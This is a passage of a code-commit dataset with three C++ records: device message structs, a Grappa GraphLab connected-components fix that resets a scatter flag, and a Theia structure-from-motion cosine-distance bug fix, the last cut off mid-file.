ZMSG_PU(\n\t\twindow_x_row,\n\t\twindow_x_col,\n\t\twindow_y_row,\n\t\twindow_y_col,\n\n\t\tnm_per_pixel,\n\t\tzmotor_spec_nm_per_step,\n\t\tlz_nm_per_step,\n\t\trz_nm_per_step,\n\n\t\timg_cap_delay,\n\n\t\tclr_discharge_strength,\n\t\tclr_discharge_gap,\n\t\tcheck_fiber_exist_time,\n\n\t\tmotor_min_speed,\n\t\tmotor_max_speed,\n\n\t\tentering_speed,\n\t\tpush1_speed,\n\t\tpush2_stage1_speed,\n\t\tpush2_stage2_speed,\n\t\tmanual_calibrate_speed,\n\t\tmotor_xy_precise_calibrate_speed,\n\t\ttensionSpeed,\n\n\t\ttensionStretchLength,\n\n\t\tmotor_xy_steps_per_pixel,\n\n\t\tfiber_outline_blacklevel,\n\t\tcalibrating_xy_dist_threshold,\n\t\tprecise_calibrating_xy_dist_threshold,\n\t\tz_dist_threshold,\n\n\t\tdischarge_base,\n\t\tdischarge_revise,\n\n\t\tdust_check_threshold0,\n\t\tdust_check_threshold1,\n\t\timg_denoise_threshold,\n\n\t\tled_brightness,\n\n\t\tx_focal_distance,\n\t\ty_focal_distance,\n\n\t\tzmotor_speed_factor,\n\t\tzmotor_speed_pow,\n\t\tzmotor_speed_max,\n\n\t\txymotor_speed_factor,\n\t\txymotor_speed_pow,\n\t\txymotor_speed_max,\n\n\t\tzmotor_forward_distance,\n\t\tzmotor_stroke,\n\n\t\tdbg_hangle_limit,\n\t\tdbg_vangle_limit,\n\n\t\tpre_cal_xy_dist_threshold_relax_ratio,\n\n\t\trt_revise_data,\n\n\t\tloss_factor)\n};\n\ntemplate<>\nstruct zmsg<mid_t::update_led_brightness> {\npublic:\n\tledId_t id;\n\tdouble brightness;\npublic:\n ZMSG_PU(id,\n\t\tbrightness)\n};\n\ntemplate<>\nstruct zmsg<mid_t::update_window_position> {\n\tbool is_pos_x;\n\tint32_t row;\n\tint32_t column;\npublic:\n\tZMSG_PU(is_pos_x,row,column)\n};\n\ntemplate<>\nstruct zmsg<mid_t::update_cmos_focal_distance> {\npublic:\n\tdouble x_focal_distance;\n\tdouble y_focal_distance;\npublic:\n\tZMSG_PU(x_focal_distance, y_focal_distance)\n};\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ This file is part of Grappa, a system for scaling irregular\n\/\/ applications on commodity clusters. \n\n\/\/ Copyright (C) 2010-2014 University of Washington and Battelle\n\/\/ Memorial Institute. University of Washington authorizes use of this\n\/\/ Grappa software.\n\n\/\/ Grappa is free software: you can redistribute it and\/or modify it\n\/\/ under the terms of the Affero General Public License as published\n\/\/ by Affero, Inc., either version 1 of the License, or (at your\n\/\/ option) any later version.\n\n\/\/ Grappa is distributed in the hope that it will be useful, but\n\/\/ WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ Affero General Public License for more details.\n\n\/\/ You should have received a copy of the Affero General Public\n\/\/ License along with this program. If not, you may obtain one from\n\/\/ http:\/\/www.affero.org\/oagl.html.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Demonstrates using the GraphLab API to implement Pagerank\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <Grappa.hpp>\n#include \"graphlab.hpp\"\n\nDEFINE_bool( metrics, false, \"Dump metrics\");\n\nDEFINE_int32(scale, 10, \"Log2 number of vertices.\");\nDEFINE_int32(edgefactor, 16, \"Average number of edges per vertex.\");\n\nDEFINE_string(path, \"\", \"Path to graph source file.\");\nDEFINE_string(format, \"bintsv4\", \"Format of graph source file.\");\n\nGRAPPA_DEFINE_METRIC(SimpleMetric<double>, init_time, 0);\nGRAPPA_DEFINE_METRIC(SimpleMetric<double>, tuple_time, 0);\nGRAPPA_DEFINE_METRIC(SimpleMetric<double>, construction_time, 0);\nGRAPPA_DEFINE_METRIC(SimpleMetric<double>, total_time, 0);\n\nconst double RESET_PROB = 0.15;\nDEFINE_double(tolerance, 1.0E-2, \"tolerance\");\n#define TOLERANCE FLAGS_tolerance\n\nstruct CCData : public GraphlabVertexData<CCData> {\n uint64_t label;\n};\n\nstruct MinLabel {\n uint64_t v;\n explicit MinLabel(uint64_t v): v(v) {}\n MinLabel(): v(std::numeric_limits<uint64_t>::max()) {}\n MinLabel& operator+=(const MinLabel& o) {\n v = std::min(v, o.v);\n return *this;\n }\n operator uint64_t () const { return v; }\n};\n\nusing G = Graph<CCData,Empty>;\n\nstruct LabelPropagation : public GraphlabVertexProgram<G,MinLabel> {\n bool do_scatter;\n uint64_t tmp_label;\n \n LabelPropagation(Vertex& v): tmp_label(-1) {}\n \n bool gather_edges(const Vertex& v) const { return true; }\n \n Gather gather(const Vertex& v, Edge& e) const { return MinLabel(v->label); }\n \n void apply(Vertex& v, const Gather& total) {\n uint64_t min_label = static_cast<uint64_t>(total);\n if (v->label > min_label) {\n v->label = tmp_label = min_label;\n do_scatter = true;\n }\n }\n bool scatter_edges(const Vertex& v) const { return do_scatter; }\n Gather scatter(const Edge& e, Vertex& target) const {\n if (target->label > tmp_label) {\n target->activate();\n return MinLabel(tmp_label);\n }\n return MinLabel();\n }\n};\n\nReducer<int64_t,ReducerType::Add> nc;\n\nint main(int argc, char* argv[]) {\n init(&argc, &argv);\n run([]{\n \n double t;\n \n TupleGraph tg;\n \n GRAPPA_TIME_REGION(tuple_time) {\n if (FLAGS_path.empty()) {\n int64_t NE = (1L << FLAGS_scale) * FLAGS_edgefactor;\n tg = TupleGraph::Kronecker(FLAGS_scale, NE, 111, 222);\n } else {\n LOG(INFO) << \"loading \" << FLAGS_path;\n tg = TupleGraph::Load(FLAGS_path, FLAGS_format);\n }\n }\n LOG(INFO) << tuple_time;\n LOG(INFO) << \"constructing graph\";\n t = walltime();\n \n auto g = G::Undirected(tg);\n \n construction_time = walltime()-t;\n LOG(INFO) << construction_time;\n \n GRAPPA_TIME_REGION(total_time) {\n forall(g, [](VertexID i, G::Vertex& v){\n v->label = i;\n v->activate();\n });\n run_synchronous<LabelPropagation>(g);\n }\n LOG(INFO) << total_time;\n \n if (FLAGS_scale <= 8) {\n g->dump([](std::ostream& o, G::Vertex& v){\n o << \"{ label:\" << v->label << \" }\";\n });\n }\n \n nc = 0;\n forall(g, [](VertexID i, G::Vertex& v){ if (v->label == i) nc++; });\n LOG(INFO) << \"ncomponents: \" << nc;\n });\n finalize();\n}\n<commit_msg>graphlab cc: deactivate scatter<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ This file is part of Grappa, a system for scaling irregular\n\/\/ applications on commodity clusters. \n\n\/\/ Copyright (C) 2010-2014 University of Washington and Battelle\n\/\/ Memorial Institute. University of Washington authorizes use of this\n\/\/ Grappa software.\n\n\/\/ Grappa is free software: you can redistribute it and\/or modify it\n\/\/ under the terms of the Affero General Public License as published\n\/\/ by Affero, Inc., either version 1 of the License, or (at your\n\/\/ option) any later version.\n\n\/\/ Grappa is distributed in the hope that it will be useful, but\n\/\/ WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ Affero General Public License for more details.\n\n\/\/ You should have received a copy of the Affero General Public\n\/\/ License along with this program. If not, you may obtain one from\n\/\/ http:\/\/www.affero.org\/oagl.html.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Demonstrates using the GraphLab API to implement Pagerank\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <Grappa.hpp>\n#include \"graphlab.hpp\"\n\nDEFINE_bool( metrics, false, \"Dump metrics\");\n\nDEFINE_int32(scale, 10, \"Log2 number of vertices.\");\nDEFINE_int32(edgefactor, 16, \"Average number of edges per vertex.\");\n\nDEFINE_string(path, \"\", \"Path to graph source file.\");\nDEFINE_string(format, \"bintsv4\", \"Format of graph source file.\");\n\nGRAPPA_DEFINE_METRIC(SimpleMetric<double>, init_time, 0);\nGRAPPA_DEFINE_METRIC(SimpleMetric<double>, tuple_time, 0);\nGRAPPA_DEFINE_METRIC(SimpleMetric<double>, construction_time, 0);\nGRAPPA_DEFINE_METRIC(SimpleMetric<double>, total_time, 0);\n\nconst double RESET_PROB = 0.15;\nDEFINE_double(tolerance, 1.0E-2, \"tolerance\");\n#define TOLERANCE FLAGS_tolerance\n\nstruct CCData : public GraphlabVertexData<CCData> {\n uint64_t label;\n};\n\nstruct MinLabel {\n uint64_t v;\n explicit MinLabel(uint64_t v): v(v) {}\n MinLabel(): v(std::numeric_limits<uint64_t>::max()) {}\n MinLabel& operator+=(const MinLabel& o) {\n v = std::min(v, o.v);\n return *this;\n }\n operator uint64_t () const { return v; }\n};\n\nusing G = Graph<CCData,Empty>;\n\nstruct LabelPropagation : public GraphlabVertexProgram<G,MinLabel> {\n bool do_scatter;\n uint64_t tmp_label;\n \n LabelPropagation(Vertex& v): tmp_label(-1) {}\n \n bool gather_edges(const Vertex& v) const { return true; }\n \n Gather gather(const Vertex& v, Edge& e) const { return MinLabel(v->label); }\n \n void apply(Vertex& v, const Gather& total) {\n uint64_t min_label = static_cast<uint64_t>(total);\n if (v->label > min_label) {\n v->label = tmp_label = min_label;\n do_scatter = true;\n } else {\n do_scatter = false;\n }\n }\n \n bool scatter_edges(const Vertex& v) const { return do_scatter; }\n \n Gather scatter(const Edge& e, Vertex& target) const {\n if (target->label > tmp_label) {\n target->activate();\n return MinLabel(tmp_label);\n }\n return MinLabel();\n }\n};\n\nReducer<int64_t,ReducerType::Add> nc;\n\nint main(int argc, char* argv[]) {\n init(&argc, &argv);\n run([]{\n \n double t;\n \n TupleGraph tg;\n \n GRAPPA_TIME_REGION(tuple_time) {\n if (FLAGS_path.empty()) {\n int64_t NE = (1L << FLAGS_scale) * FLAGS_edgefactor;\n tg = TupleGraph::Kronecker(FLAGS_scale, NE, 111, 222);\n } else {\n LOG(INFO) << \"loading \" << FLAGS_path;\n tg = TupleGraph::Load(FLAGS_path, FLAGS_format);\n }\n }\n LOG(INFO) << tuple_time;\n LOG(INFO) << \"constructing graph\";\n t = walltime();\n \n auto g = G::Undirected(tg);\n \n construction_time = walltime()-t;\n LOG(INFO) << construction_time;\n \n GRAPPA_TIME_REGION(total_time) {\n forall(g, [](VertexID i, G::Vertex& v){\n v->label = i;\n v->activate();\n });\n run_synchronous<LabelPropagation>(g);\n }\n LOG(INFO) << total_time;\n \n if (FLAGS_scale <= 8) {\n g->dump([](std::ostream& o, G::Vertex& v){\n o << \"{ label:\" << v->label << \" }\";\n });\n }\n \n nc = 0;\n forall(g, [](VertexID i, G::Vertex& v){ if (v->label == i) nc++; });\n LOG(INFO) << \"ncomponents: \" << nc;\n });\n finalize();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (C) 2015 The Regents of the University of California (Regents).\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following\n\/\/ disclaimer in the documentation and\/or other materials provided\n\/\/ with the distribution.\n\/\/\n\/\/ * Neither the name of The Regents or University of California nor the\n\/\/ names of its contributors may be used to endorse or promote products\n\/\/ derived from this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/ Please contact the author of this library if you have any questions.\n\/\/ Author: Chris Sweeney (cmsweeney@cs.ucsb.edu)\n\n#include \"theia\/sfm\/extract_maximally_parallel_rigid_subgraph.h\"\n\n#include <ceres\/rotation.h>\n#include <Eigen\/Core>\n#include <Eigen\/LU>\n\n#include <algorithm>\n#include <unordered_map>\n#include <vector>\n\n#include \"theia\/sfm\/pose\/util.h\"\n#include \"theia\/sfm\/types.h\"\n#include \"theia\/sfm\/view_graph\/view_graph.h\"\n#include \"theia\/util\/map_util.h\"\n\nnamespace theia {\nnamespace {\n\nvoid FormAngleMeasurementMatrix(\n const std::unordered_map<ViewId, Eigen::Vector3d>& orientations,\n const ViewGraph& view_graph,\n const std::unordered_map<ViewId, int>& view_ids_to_index,\n Eigen::MatrixXd* angle_measurements) {\n const auto& view_pairs = view_graph.GetAllEdges();\n angle_measurements->setZero();\n\n \/\/ Set up the matrix such that t_{i,j} x (c_j - c_i) = 0.\n int i = 0;\n for (const auto& view_pair : view_pairs) {\n \/\/ Get t_{i,j} and rotate it such that it is oriented in the global\n \/\/ reference frame.\n Eigen::Matrix3d world_to_view1_rotation;\n ceres::AngleAxisToRotationMatrix(\n FindOrDie(orientations, view_pair.first.first).data(),\n ceres::ColumnMajorAdapter3x3(world_to_view1_rotation.data()));\n const Eigen::Vector3d rotated_translation =\n world_to_view1_rotation.transpose() * view_pair.second.position_2;\n const Eigen::Matrix3d cross_product_mat =\n CrossProductMatrix(rotated_translation);\n\n \/\/ Find the column locations of the two views.\n const int view1_col =\n 3 * FindOrDie(view_ids_to_index, view_pair.first.first);\n const int view2_col =\n 3 * FindOrDie(view_ids_to_index, view_pair.first.second);\n\n angle_measurements->block<3, 3>(3 * i, view1_col) = -cross_product_mat;\n angle_measurements->block<3, 3>(3 * i, view2_col) = cross_product_mat;\n ++i;\n }\n}\n\n\/\/ Computes the cosine distance in each dimension x, y, and z and returns the\n\/\/ maximum cosine distance.\n\/\/\n\/\/ cos distance = 1.0 - a.dot(b) \/ (norm(a) * norm(b))\ndouble ComputeCosineDistance(const Eigen::MatrixXd& mat1,\n const Eigen::MatrixXd& mat2) {\n Eigen::Vector3d cos_distance;\n for (int i =0; i < 3; i++) {\n cos_distance(i) = 1.0 - std::abs(mat1.row(0).dot(mat2.row(0)));\n }\n return cos_distance.maxCoeff();\n}\n\n\/\/ Find the maximal rigid component containing fixed_node. This is done by\n\/\/ examining which nodes are parallel when removing node fixed_node from the\n\/\/ null space. The nodes are only parallel if they are part of the maximal rigid\n\/\/ component with fixed_node.\nvoid FindMaximalParallelRigidComponent(const Eigen::MatrixXd& null_space,\n const int fixed_node,\n std::unordered_set<int>* largest_cc) {\n static const double kMaxCosDistance = 1e-5;\n static const double kMaxNorm = 1e-10;\n\n const int num_nodes = null_space.rows() \/ 3;\n\n largest_cc->insert(fixed_node);\n\n const Eigen::MatrixXd fixed_null_space_component =\n null_space.block(3 * fixed_node, 0, 3, null_space.cols());\n\n \/\/ Remove the fixed node from the rest of the null space.\n Eigen::MatrixXd modified_null_space =\n null_space - fixed_null_space_component.replicate(num_nodes, 1);\n\n \/\/ Normalize all rows to be unit-norm. If the rows have a very small norm then\n \/\/ they are parallel to the fixed_node. and should be set to zero.\n const Eigen::VectorXd norms = modified_null_space.rowwise().norm();\n\n modified_null_space.rowwise().normalize();\n\n \/\/ Find the pairs to match. Add all indices that are close to 0-vectors, as\n \/\/ they are clearly part of the rigid component.\n std::vector<int> indices_to_match;\n for (int i = 0; i < num_nodes; i++) {\n \/\/ Skip this index if it is fixed.\n if (i == fixed_node) {\n continue;\n }\n\n \/\/ Skip this index if it is nearly a 0-vector because this means it is\n \/\/ clearly part of the rigid component.\n if (norms(3 * i) < kMaxNorm &&\n norms(3 * i + 1) < kMaxNorm &&\n norms(3 * i + 2) < kMaxNorm) {\n largest_cc->insert(i);\n continue;\n }\n\n indices_to_match.emplace_back(i);\n }\n\n \/\/ Each node has three dimensions (x, y, z). We only compare parallel-ness\n \/\/ between similar dimensions. If all x, y, z dimensions are parallel then\n \/\/ the two nodes will be parallel.\n for (int i = 0; i < indices_to_match.size(); i++) {\n \/\/ Test all other nodes (that have not been tested) to determine if they are\n \/\/ parallel to this node.\n const Eigen::MatrixXd& block1 = modified_null_space.block(\n 3 * indices_to_match[i], 0, 3, null_space.cols());\n\n for (int j = i + 1; j < indices_to_match.size(); j++) {\n const Eigen::MatrixXd& block2 = modified_null_space.block(\n 3 * indices_to_match[j], 0, 3, null_space.cols());\n\n const double cos_distance = ComputeCosineDistance(block1, block2);\n if (cos_distance < kMaxCosDistance) {\n largest_cc->insert(indices_to_match[i]);\n largest_cc->insert(indices_to_match[j]);\n }\n }\n }\n}\n\n} \/\/ namespace\n\nvoid ExtractMaximallyParallelRigidSubgraph(\n const std::unordered_map<ViewId, Eigen::Vector3d>& orientations,\n ViewGraph* view_graph) {\n \/\/ Create a mapping of indexes to ViewIds for our linear system.\n std::unordered_map<ViewId, int> view_ids_to_index;\n view_ids_to_index.reserve(orientations.size());\n for (const auto& orientation : orientations) {\n const int current_index = view_ids_to_index.size();\n InsertIfNotPresent(&view_ids_to_index, orientation.first, current_index);\n }\n\n \/\/ Form the global angle measurements matrix from:\n \/\/ t_{i,j} x (c_j - c_i) = 0.\n Eigen::MatrixXd angle_measurements(3 * view_graph->NumEdges(),\n 3 * orientations.size());\n FormAngleMeasurementMatrix(orientations,\n *view_graph,\n view_ids_to_index,\n &angle_measurements);\n\n \/\/ Extract the null space of the angle measurements matrix.\n Eigen::FullPivLU<Eigen::MatrixXd> lu(angle_measurements.transpose() *\n angle_measurements);\n const Eigen::MatrixXd null_space = lu.kernel();\n\n \/\/ For each node in the graph (i.e. each camera), set the null space component\n \/\/ to be zero such that the camera position would be fixed at the origin. If\n \/\/ two nodes i and j are in the same rigid component, then their null spaces\n \/\/ will be parallel because the camera positions may only change by a\n \/\/ scale. We find all components that are parallel to find the rigid\n \/\/ components. The largest of such component is the maximally parallel rigid\n \/\/ component of the graph.\n std::unordered_set<int> maximal_rigid_component;\n for (int i = 0; i < orientations.size(); i++) {\n std::unordered_set<int> temp_cc;\n FindMaximalParallelRigidComponent(null_space, i, &temp_cc);\n if (temp_cc.size() > maximal_rigid_component.size()) {\n std::swap(temp_cc, maximal_rigid_component);\n }\n }\n\n \/\/ Only keep the nodes in the largest maximally parallel rigid component.\n for (const auto& orientation : orientations) {\n const int index = FindOrDie(view_ids_to_index, orientation.first);\n \/\/ If the view is not in the maximal rigid component then remove it from the\n \/\/ view graph.\n if (!ContainsKey(maximal_rigid_component, index)) {\n CHECK(view_graph->RemoveView(orientation.first))\n << \"Could not remove view id \" << orientation.first\n << \" from the view graph because it does not exist.\";\n }\n }\n}\n\n} \/\/ namespace theia\n<commit_msg>Bug fix in cos distance function. Thanks to inspirit for spotting it!<commit_after>\/\/ Copyright (C) 2015 The Regents of the University of California (Regents).\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following\n\/\/ disclaimer in the documentation and\/or other materials provided\n\/\/ with the distribution.\n\/\/\n\/\/ * Neither the name of The Regents or University of California nor the\n\/\/ names of its contributors may be used to endorse or promote products\n\/\/ derived from this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/ Please contact the author of this library if you have any questions.\n\/\/ Author: Chris Sweeney (cmsweeney@cs.ucsb.edu)\n\n#include \"theia\/sfm\/extract_maximally_parallel_rigid_subgraph.h\"\n\n#include <ceres\/rotation.h>\n#include <Eigen\/Core>\n#include <Eigen\/LU>\n\n#include <algorithm>\n#include <unordered_map>\n#include <vector>\n\n#include \"theia\/sfm\/pose\/util.h\"\n#include \"theia\/sfm\/types.h\"\n#include \"theia\/sfm\/view_graph\/view_graph.h\"\n#include \"theia\/util\/map_util.h\"\n\nnamespace theia {\nnamespace {\n\nvoid FormAngleMeasurementMatrix(\n const std::unordered_map<ViewId, Eigen::Vector3d>& orientations,\n const ViewGraph& view_graph,\n const std::unordered_map<ViewId, int>& view_ids_to_index,\n Eigen::MatrixXd* angle_measurements) {\n const auto& view_pairs = view_graph.GetAllEdges();\n angle_measurements->setZero();\n\n \/\/ Set up the matrix such that t_{i,j} x (c_j - c_i) = 0.\n int i = 0;\n for (const auto& view_pair : view_pairs) {\n \/\/ Get t_{i,j} and rotate it such that it is oriented in the global\n \/\/ reference frame.\n Eigen::Matrix3d world_to_view1_rotation;\n ceres::AngleAxisToRotationMatrix(\n FindOrDie(orientations, view_pair.first.first).data(),\n ceres::ColumnMajorAdapter3x3(world_to_view1_rotation.data()));\n const Eigen::Vector3d rotated_translation =\n world_to_view1_rotation.transpose() * view_pair.second.position_2;\n const Eigen::Matrix3d cross_product_mat =\n CrossProductMatrix(rotated_translation);\n\n \/\/ Find the column locations of the two views.\n const int view1_col =\n 3 * FindOrDie(view_ids_to_index, view_pair.first.first);\n const int view2_col =\n 3 * FindOrDie(view_ids_to_index, view_pair.first.second);\n\n angle_measurements->block<3, 3>(3 * i, view1_col) = -cross_product_mat;\n angle_measurements->block<3, 3>(3 * i, view2_col) = cross_product_mat;\n ++i;\n }\n}\n\n\/\/ Computes the cosine distance in each dimension x, y, and z and returns the\n\/\/ maximum cosine distance.\n\/\/\n\/\/ cos distance = 1.0 - a.dot(b) \/ (norm(a) * norm(b))\ndouble ComputeCosineDistance(const Eigen::MatrixXd& mat1,\n const Eigen::MatrixXd& mat2) {\n Eigen::Vector3d cos_distance;\n for (int i =0; i < 3; i++) {\n cos_distance(i) = 1.0 - std::abs(mat1.row(i).dot(mat2.row(i)));\n }\n return cos_distance.maxCoeff();\n}\n\n\/\/ Find the maximal rigid component containing fixed_node. This is done by\n\/\/ examining which nodes are parallel when removing node fixed_node from the\n\/\/ null space. The nodes are only parallel if they are part of the maximal rigid\n\/\/ component with fixed_node.\nvoid FindMaximalParallelRigidComponent(const Eigen::MatrixXd& null_space,\n const int fixed_node,\n std::unordered_set<int>* largest_cc) {\n static const double kMaxCosDistance = 1e-5;\n static const double kMaxNorm = 1e-10;\n\n const int num_nodes = null_space.rows() \/ 3;\n\n largest_cc->insert(fixed_node);\n\n const Eigen::MatrixXd fixed_null_space_component =\n null_space.block(3 * fixed_node, 0, 3, null_space.cols());\n\n \/\/ Remove the fixed node from the rest of the null space.\n Eigen::MatrixXd modified_null_space =\n null_space - fixed_null_space_component.replicate(num_nodes, 1);\n\n \/\/ Normalize all rows to be unit-norm. If the rows have a very small norm then\n \/\/ they are parallel to the fixed_node. and should be set to zero.\n const Eigen::VectorXd norms = modified_null_space.rowwise().norm();\n\n modified_null_space.rowwise().normalize();\n\n \/\/ Find the pairs to match. Add all indices that are close to 0-vectors, as\n \/\/ they are clearly part of the rigid component.\n std::vector<int> indices_to_match;\n for (int i = 0; i < num_nodes; i++) {\n \/\/ Skip this index if it is fixed.\n if (i == fixed_node) {\n continue;\n }\n\n \/\/ Skip this index if it is nearly a 0-vector because this means it is\n \/\/ clearly part of the rigid component.\n if (norms(3 * i) < kMaxNorm &&\n norms(3 * i + 1) < kMaxNorm &&\n norms(3 * i + 2) < kMaxNorm) {\n largest_cc->insert(i);\n continue;\n }\n\n indices_to_match.emplace_back(i);\n }\n\n \/\/ Each node has three dimensions (x, y, z). We only compare parallel-ness\n \/\/ between similar dimensions. If all x, y, z dimensions are parallel then\n \/\/ the two nodes will be parallel.\n for (int i = 0; i < indices_to_match.size(); i++) {\n \/\/ Test all other nodes (that have not been tested) to determine if they are\n \/\/ parallel to this node.\n const Eigen::MatrixXd& block1 = modified_null_space.block(\n 3 * indices_to_match[i], 0, 3, null_space.cols());\n\n for (int j = i + 1; j < indices_to_match.size(); j++) {\n const Eigen::MatrixXd& block2 = modified_null_space.block(\n 3 * indices_to_match[j], 0, 3, null_space.cols());\n\n const double cos_distance = ComputeCosineDistance(block1, block2);\n if (cos_distance < kMaxCosDistance) {\n largest_cc->insert(indices_to_match[i]);\n largest_cc->insert(indices_to_match[j]);\n }\n }\n }\n}\n\n} \/\/ namespace\n\nvoid ExtractMaximallyParallelRigidSubgraph(\n const std::unordered_map<ViewId, Eigen::Vector3d>& orientations,\n ViewGraph* view_graph) {\n \/\/ Create a mapping of indexes to ViewIds for our linear system.\n std::unordered_map<ViewId, int> view_ids_to_index;\n view_ids_to_index.reserve(orientations.size());\n for (const auto& orientation : orientations) {\n const int current_index = view_ids_to_index.size();\n InsertIfNotPresent(&view_ids_to_index, orientation.first, current_index);\n }\n\n \/\/ Form the global angle measurements matrix from:\n \/\/ t_{i,j} x (c_j - c_i) = 0.\n Eigen::MatrixXd angle_measurements(3 * view_graph->NumEdges(),\n 3 * orientations.size());\n FormAngleMeasurementMatrix(orientations,\n *view_graph,\n view_ids_to_index,\n &angle_measurements);\n\n \/\/ Extract the null space of the angle measurements matrix.\n Eigen::FullPivLU<Eigen::MatrixXd> lu(angle_measurements.transpose() *\n angle_measurements);\n const Eigen::MatrixXd null_space = lu.kernel();\n\n \/\/ For each node in the graph (i.e. each camera), set the null space component\n \/\/ to be zero such that the camera position would be fixed at the origin. If\n \/\/ two nodes i and j are in the same rigid component, then their null spaces\n \/\/ will be parallel because the camera positions may only change by a\n \/\/ scale. We find all components that are parallel to find the rigid\n \/\/ components. The largest of such component is the maximally parallel rigid\n \/\/ component of the graph.\n std::unordered_set<int> maximal_rigid_component;\n for (int i = 0; i < orientations.size(); i++) {\n std::unordered_set<int> temp_cc;\n FindMaximalParallelRigidComponent(null_space, i, &temp_cc);\n if (temp_cc.size() > maximal_rigid_component.size()) {\n std::swap(temp_cc, maximal_rigid_component);\n 